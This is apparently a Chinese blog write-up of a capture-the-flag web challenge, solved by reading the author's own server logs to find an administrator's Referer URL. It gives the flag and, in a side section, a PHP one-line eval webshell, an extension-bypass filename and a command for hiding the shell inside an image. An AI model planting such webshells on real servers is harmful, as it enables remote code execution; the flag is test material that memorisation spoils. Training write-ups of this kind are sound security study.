

[WriteUp]网络信息安全攻防平台-综合关3

原创

Fai7y  于 2021-03-11 20:17:18 发布  221  收藏

文章标签: [信息安全](#)

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC-BY-NC-SA 4.0)进行许可。

本文链接: https://blog.csdn.net/m0_49800617/article/details/114661086

版权

网络信息安全攻防平台-综合关3-美图闪亮亮交友平台

[综合关传送门](#)

注意: 这是第三题的WP

需要的工具: 一台部署好nginx的VPS(这里只要能url访问就行, 不一定需要nginx, nginx只是给不熟悉的提供一个参考)

[正文开始](#)

经典题目无用，tips先记着，直接进入环境

美图闪闪亮_让你快速找到男女朋友

美图上传区

为了保护您的个人隐私，请提交您的照片链接和说明，当您不希望别人看到您的照片时，您可以随时删除原始链接的图片内容！我们将进行人工审核，系统不会保存您的照片的任何信息。

姓 名： 例如：王小明

图片url： 例如：<http://www.hackinglab.cn/meitu.jpg>

照片描述：

例如：这是我在xx酒吧拍得噢，漂亮吧！

提交

重置

https://blog.csdn.net/m0_49800617

什么都不管，先正常传一次图片试试，这个滑稽我是从我图床里扒过来的

美图闪闪亮_让你快速找到男女朋友

管理员审核进度通知

您的审核申请已经发送到管理员邮箱，待审核通过后您的照片将自动推送到系统首页

美图闪闪亮，筑您找到心仪的她（他）

姓 名：123



描述：abc

https://blog.csdn.net/m0_49800617

我直接好家伙，居然有回显！

tip里提到没有xss，那就传马，多次尝试上传木马失败（这里走了不少弯路，文末另提）。

算了，仔细看看这个网页，UI丑得很，废话又多。众所周知，程序员都是很懒的，要我来我就懒得写那么多字，他又老提“管理人员人工审核”，生怕我注意不到，掐指一算，八成是有用的信息，深究一下。

既然你本身不存储图片，那你管理员要审核自然也是要访问我的服务器的，那么有没有可能是管理员直接从后台访问呢？

刚好我url给的是自建网站里的，直接查看nginx日志

```
cat /var/log/nginx/access.log
```

瞧瞧我发现了什么:D

```
- [09/Mar/2021:05:59:29 +0000] "\x8A\xAB\xA1EzC\xDBM\x87\xEe\xFD\xBF\x159 \x04-\x12\x98\xC4-\xE0\x13\xCF\x00\xAC\xA09\xD7\x90#8-\x8C\xDE\x9DReF\xBF\x10\xE0\x9D\x06g\xB8\x82\x95\x19\xED\x07\x14\x192P\x80+\x94e\xC3\xE6\x88\x191\x01\xEA\x88Y\x91\x16\x95\xC4\xC8\x0EH\x02\xC7\x93g\xC14FW\x05|\x FB\xF3T\x88\xFD\xCB\x8B)\xE3\xCE\xDD\xCD7\x9E\xEF\x8C\x44[V\xFD\x98\xC91\x82\xF5\xE4\xC1d\x87X\F7\x98\xBF\xE8g\x12\x98\x08 \x5F5\x87\xD7\xA8\x97j;\x80\x02\xAD\x8DE\x9B\xAAB\x80\x0E)\xA9\xE9\xAF)\x18\x8E\x88\x1E\x99\x04\xEF\xA8\x8C\xE8\x04\xE2\xD3\xED1\x91\xC1\x8F\x88\x8C\x81\xF0\xD8\xA5\x88\x95H\x9BZ\xAB\xCE\xBF\xF4E8P*\x88KFY6\x9E\xE7:;j\xD4\x8A\xA8V\x9A\xAA\xAB\xA4\x5e\x7F\x08\xBE\x8A\xA7\xB0\x99F\xF7\x11\xE5\xD6\x96\x8Im+\x1C\xFDuV\x14\x0F!\xAC\xE8MPy\C3\x19!2\xA0\xED\xC0)!Rw\x14\x8E\x1B\xC4\xE1\xA0\xAF+\xADKk\xC5\xE0\x5C\x9C\xBD\xCB" 400 157 "-" "-"
- [09/Mar/2021:06:00:47 +0000] "GET / HTTP/1.0" 200 819 "-" "-"
- [09/Mar/2021:06:00:58 +0000] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"
- [09/Mar/2021:06:01:06 +0000] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
- [09/Mar/2021:06:01:06 +0000] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" "-"
- [09/Mar/2021:06:01:11 +0000] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
- [09/Mar/2021:06:02:20 +0000] "GET /tools/shell.php HTTP/1.1" 200 36 "http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/mymailbox_25777445a35a9588.php?sid=d1435a9d006323528f7689cbaba862e5" "Mozilla/6.0 (Macin OS X 10.10.9) AppleWebKit/538.38 (KHTML, like Gecko) Chrome Safari" "-"
- [09/Mar/2021:06:02:20 +0000] "GET /tools/shell.php HTTP/1.1" 200 36 "http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0" "-"
- [09/Mar/2021:06:06:41 +0000] "GET /tools/shell.jpg HTTP/1.1" 404 153 "http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/mymailbox_25777445a35a9588.php?sid=472f7ea4c444305028096ca182dac924" "Mozilla/6.0 (Macin OS X 10.10.9) AppleWebKit/538.38 (KHTML, like Gecko) Chrome Safari" "-"
- [09/Mar/2021:06:31:47 +0000] "GET / HTTP/1.1" 200 819 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
```

直接浏览器访问就出flag了，我以为还要绕个登录状态验证啥的

欢迎来到美图凉凉的手机邮箱系统

恭喜您，成功了！ key is: woaimeizhiwoaimeizhi@112

© 1996-2004

https://blog.csdn.net/m0_49800617

此处是弯路，但是多少带些东西，就保留了

我：??? 有回显？

我当场就动了歪心思啊，反手传个一句话木马，传马就肯定别用图床了，怎么办呢？用自己的VPS吧**(注意，在自己的服务器上放马就不是什么很安全的行为，用了立马删掉，以免出事。我自己的VPS只有一些学习资料，还有硬盘备份，所以胆子就很肥了)**

这里的前置过程我就不从盘古开天辟地开始说了，就提一嘴向VPS上传文件可以用rz这个命令，具体安装用法自己搜了，教程很多。

甚至于你无所谓一些问题的话，你租国内大厂的vps都可以一键部署的，上传也有图形界面

反正你现在已经搭好了一个简单的网站，万事俱备，只缺木马。

简单的一句话木马无非是 `<?php eval($_POST[attack])?>`，由于此处上传使用的是url，首先尝试原型木马使用一些简单的后缀名绕过，如 `shell.jpg.php`，访问发现404，没有上传成功。

那就花点时间做个图片马吧，在windows的cmd下（不包含“”）：

```
copy [原图片]/b+[原木马]/a [图片马]
```

上传后依然404，我木马直接就找不到，这让我非常的疑惑。几次无谓的尝试后发现我蠢了，不是有回显么，直接审查元素查回显所在路径不就完事了

状态	方法	域名	文件
200	POST	lab1.xseclab.com	post.php
200	GET	fai7y.moe	shell.php
404	GET	lab1.xseclab.com	favicon.ico

https://blog.csdn.net/m0_49800617

得，上传了个寂寞。

假的，题目里什么上传都是假的，这根本就不是什么上传题。